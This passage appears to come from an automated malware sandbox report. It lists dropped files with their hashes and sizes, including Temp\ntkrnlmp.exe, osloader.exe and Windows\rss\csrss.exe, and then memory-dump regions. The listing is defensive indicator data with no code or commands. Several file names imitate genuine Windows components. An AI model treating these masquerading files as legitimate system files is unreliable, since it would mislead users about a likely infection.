SHA1a00fac5ec41193251feabd003c8af8beb4a45d40
SHA2569a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f
SHA51295165609140e45d4f4e31170f38eb4964e49742de3ecdd04d6ab3b3dc5e72aada6f76976be025b87a06e8ea7131ef80cb6ad7cf782e1eaaa8c31d8cfcb2afbe8
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.9MB
MD51785d20bbf66ac8afd66138781b5b9e9
SHA1a00fac5ec41193251feabd003c8af8beb4a45d40
SHA2569a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f
SHA51295165609140e45d4f4e31170f38eb4964e49742de3ecdd04d6ab3b3dc5e72aada6f76976be025b87a06e8ea7131ef80cb6ad7cf782e1eaaa8c31d8cfcb2afbe8
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\Windows\rss\csrss.exeFilesize
3.9MB
MD51785d20bbf66ac8afd66138781b5b9e9
SHA1a00fac5ec41193251feabd003c8af8beb4a45d40
SHA2569a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f
SHA51295165609140e45d4f4e31170f38eb4964e49742de3ecdd04d6ab3b3dc5e72aada6f76976be025b87a06e8ea7131ef80cb6ad7cf782e1eaaa8c31d8cfcb2afbe8
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memory/588-63-0x0000000000400000-0x0000000000C53000-memory.dmpFilesize
8.3MB
-
memory/588-62-0x0000000000FC0000-0x0000000001367000-memory.dmpFilesize
3.7MB
-
memory/588-58-0x0000000000FC0000-0x0000000001367000-memory.dmpFilesize
3.7MB
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memory/592-84-0x0000000000000000-mapping.dmp
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memory/1688-59-0x0000000000000000-mapping.dmp
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memory/1916-68-0x0000000000EA0000-0x0000000001247000-memory.dmpFilesize
3.7MB
-
memory/1916-70-0x0000000000400000-0x0000000000C53000-memory.dmpFilesize
8.3MB
-
memory/1916-69-0x0000000000EA0000-0x0000000001247000-memory.dmpFilesize
3.7MB
-
memory/1916-66-0x0000000000000000-mapping.dmp
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memory/1932-54-0x0000000001120000-0x00000000014C7000-memory.dmpFilesize
3.7MB
-
memory/1932-57-0x0000000000400000-0x0000000000C53000-memory.dmpFilesize
8.3MB
-
memory/1932-56-0x00000000014D0000-0x0000000001BC6000-memory.dmpFilesize
7.0MB
-
memory/1932-55-0x0000000001120000-0x00000000014C7000-memory.dmpFilesize
3.7MB
-
memory/2008-61-0x000007FEFB751000-0x000007FEFB753000-memory.dmpFilesize
8KB
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memory/2008-60-0x0000000000000000-mapping.dmp